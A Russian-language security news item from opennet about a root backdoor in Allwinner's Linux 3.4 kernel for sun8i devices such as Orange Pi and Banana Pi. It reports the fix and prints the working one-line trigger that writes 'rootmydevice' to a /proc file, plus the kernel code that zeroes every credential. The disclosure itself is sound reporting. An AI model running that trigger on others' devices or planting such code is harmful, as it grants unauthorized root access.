Исходное сообщение
"Бэкдор в отладочном коде модифицированного ядра Linux для си..." Отправлено opennews, 10-Май-16 13:04
Разработчики Linux-дистрибутива Armbian обратили внимание (http://forum.armbian.com/index.php/topic/1108-security-alert.../) на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (http://linux-sunxi.org) (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки "rootmydevice" в файл "/proc/sunxi_debug/sunxi_debug". <font color="#461b7e">    $ id    uid=1000(user) gid=1000(user)    $ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug    $ id    uid=0(root) gid=0(root) </font> Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner  H3, A83T и H8, включая Orange Pi, FriendlyARM (https://github.com/friendlyarm/h3_lichee/issues/1), SinoVoip M2+ (https://github.com/BPI-SINOVOIP/BPI-M2P-bsp/issues/1) и M3 Banana Pi (https://github.com/BPI-SINOVOIP/BPI-M3-bsp/issues/10), Cubietruck (https://github.com/cubieboard/Cubietruck_Plus-kernel-source/...) и LinkSprite pcDuino8 Uno (https://github.com/pcduino/pcduino8-uno-kernel/issues/3). Для предоставления прав root в обработчике sunxi_proc_su_write используется (https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/...) следующий код, выставляющий привилегии root текущему процессу: <font color="#461b7e">         if(!strncmp("rootmydevice",(char*)buf,12)){         cred = (struct cred *)__task_cred(current);         cred->uid = 0;         cred->gid = 0;         cred->suid = 0;         cred->euid = 0;         cred->euid = 0;         cred->egid = 0;         cred->fsuid = 0;         cred->fsgid = 0;         printk("now you are root\n");     } </font> Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен (https://github.com/friendlyarm/h3_lichee/commit/5d4d02b1c8f3...) патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива  Armbian 5.10 (http://www.armbian.com/). URL: http://www.theregister.co.uk/2016/05/09/allwinners_allloser_.../ Новость: https://www.opennet.ru/opennews/art.shtml?num=44395